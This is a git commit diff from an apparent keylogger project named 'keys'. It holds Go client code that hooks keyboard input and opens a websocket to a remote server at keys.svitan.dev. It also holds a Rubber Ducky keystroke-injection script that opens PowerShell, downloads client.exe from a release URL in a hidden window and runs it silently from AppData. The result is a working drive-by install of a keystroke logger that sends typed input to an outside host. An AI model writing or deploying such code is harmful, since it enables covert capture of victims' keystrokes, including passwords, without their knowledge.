🚧 Moves most of logic in ducky script into one block

This commit is contained in:
Daniel Svitan 2025-05-13 20:52:01 +02:00
parent b955fec1ad
commit df143bc186
3 changed files with 11 additions and 17 deletions

View File

@ -1,9 +0,0 @@
package main
import "github.com/google/uuid"
func getId() uuid.UUID {
return uuid.New()
}
func registerAutostart() {}

View File

@ -7,6 +7,7 @@ import (
"runtime" "runtime"
"time" "time"
"github.com/google/uuid"
"github.com/gorilla/websocket" "github.com/gorilla/websocket"
hook "github.com/robotn/gohook" hook "github.com/robotn/gohook"
) )
@ -22,9 +23,9 @@ const (
) )
func main() { func main() {
var id = getId() var id = uuid.New()
if runtime.GOOS == "windows" { if runtime.GOOS == "windows" {
registerAutostart()
} }
var resource = url.URL{Scheme: "wss", Host: "keys.svitan.dev", Path: fmt.Sprintf("/keys?id=%s", id)} var resource = url.URL{Scheme: "wss", Host: "keys.svitan.dev", Path: fmt.Sprintf("/keys?id=%s", id)}

View File

@ -1,15 +1,17 @@
REM open powershell REM open powershell
GUI r WINDOWS r
DELAY 1000 DELAY 1000
STRING powershell STRING powershell
ENTER ENTER
DELAY 2000 DELAY 3000
REM run rest in background
STRING powershell.exe -WindowStyle hidden {
STRING $OpDir = "$(pwd)\AppData\Local\keys";
REM download client.exe file REM download client.exe file
STRING Invoke-WebRequest https://gitea.svitan.dev/Streamer272/keys/releases/download/latest/client.exe -OutFile .\AppData\Local\Temp\keys.exe STRING Invoke-WebRequest https://gitea.svitan.dev/Streamer272/keys/releases/download/latest/client.exe -OutFile "$OpDir\keys.exe";
ENTER
DELAY 15000
REM client.exe file (closes automatically) REM client.exe file (closes automatically)
STRING powershell.exe -WindowStyle hidden { Start-Process -FilePath .\AppData\Local\Temp\keys.exe -NoNewWindow } STRING Start-Process -FilePath "$OpDir\keys.exe" -NoNewWindow }
ENTER ENTER